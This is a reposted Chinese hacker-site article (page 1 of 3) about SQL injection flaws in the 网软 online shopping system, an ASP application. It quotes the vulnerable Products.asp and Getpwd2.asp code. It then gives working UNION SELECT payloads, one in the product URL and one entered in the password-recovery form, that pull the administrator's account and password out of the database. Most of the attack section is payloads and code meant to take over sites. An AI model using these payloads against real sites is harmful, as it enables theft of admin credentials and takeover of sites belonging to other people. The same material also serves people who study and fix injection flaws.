对网软网上购物系统的漏洞分析--网软,网上购物系统,漏洞,分析,购物系统

[组图]对网软网上购物系统的漏洞分析

热荐 ★★★★★

对网软网上购物系统的漏洞分析

文章整理发布：黑客风云文章来源：www.05112.com 更新时间：2008-1-9

很糟糕的一套程序，我ASP不太熟悉，哪里写错了还请各位大牛指点！

注入：
共发现3个可注入的地方：
Products.asp 发生在浏览产品的时候
代码如下：

以下是引用片段：

<%set rss=server.CreateObject("adodb.recordset")
rss.open "select * from products where bookid="&request.querystring("id"),conn,1,3 //这里，取得id直接拼到了SQL语句里，注入产生了。！
if rss.eof or bof then
response.write "<script>alert('对不起，没有此商品!');history.go(-1);</script>"
response.end
end if
dim des
if not rss("metad")="" then
des=rss("metad")
end if
if not rss("metak")="" then
keya=rss("metak")
end if
%>
<title><%=webname%>--商品详细信息</title>
<meta name="description" content="<%=des%>">
<meta name="keywords" content="<%=keya%>">
<link href="skin/skin<%=skinid%>/css.css" rel="stylesheet" type="text/css">
</head>
<script language="JavaScript">

</script>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" >
<%if IsNumeric(request.QueryString("id"))=False then
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")
response.end
end if

这里有一个有趣的问题哈，在查完库以后，才对ID进行检测，不知道这个程序员是怎么想的！
构造注入语句如下：

http://localhost/shangwu/products.asp?id=353 union select '1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1',admin,password,'1','1' from admin

我用的FF，因为后面的javascript的干扰有可能会导致看不到结果。用FF把JS禁用掉。提交以后，查看网页源代码，得到管理员的账号与密码：

Getpwd2.asp 发生在找回密码的时候，代码如下：

以下是引用片段：
<%
username=request.form("username") //直接从表单里拿到username的值
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [YX_User] where name='"&username&"' " //放入SQL语句执行，注入发生了
rs.open sql,conn,1,1
If rs.eof Then
%>
。。。省略。。。
<%if rs("Clue")<>"" then%>
<tr>
<td width="100%" height="22">

问题：
<font color="red"><%=rs("Clue")%></font> //这里输出Clue列的值，可以利用这里直接输出一个我们想要的列的值

在找回密码的框里输入：

admin' union select
'1','1','1',password,'1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1'
,'1','1','1','1','1','1','1','1' from admin where ''='

下一步，直接拿到了管理员密码：

[1] [2] [3] 下一页

文章录入：cainiaowang 责任编辑：cainiaowang

上一篇文章： Fckeditor<=2.4.2 For php任意上传文件漏洞

下一篇文章：没有了

【字体：小大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

VIP 专区

	抽根憋闷烟的心声
	学习网页制作的理由
	加入终身会员的理由!!!
	学习黑客编程的5大理由
	学习免杀的6大理由
	学习软件破解的理由
	常见问题解答
	汇款向导
	学员报名咨询

	对网软网上购物系统的漏洞分析	01-09
	sa-blog 0day	09-22
	网站登陆接口的攻与防	09-04
	联众游戏大厅GlobalLink glItemC	09-04
	php代码不开源下的一种漏洞检测思	08-25
	一段有注射漏洞的asp代码	08-03
	浅析BlogEz安全性	07-26
	PHP168 CMS的一次新异漏洞分析	07-20
	BBSXP多个注入点漏洞	07-11
	PHPWind-附件文件名跨站脚本漏洞	06-26
	CGI漏洞精典汇总	06-18
	动易新补丁加旧组件的BUG	06-18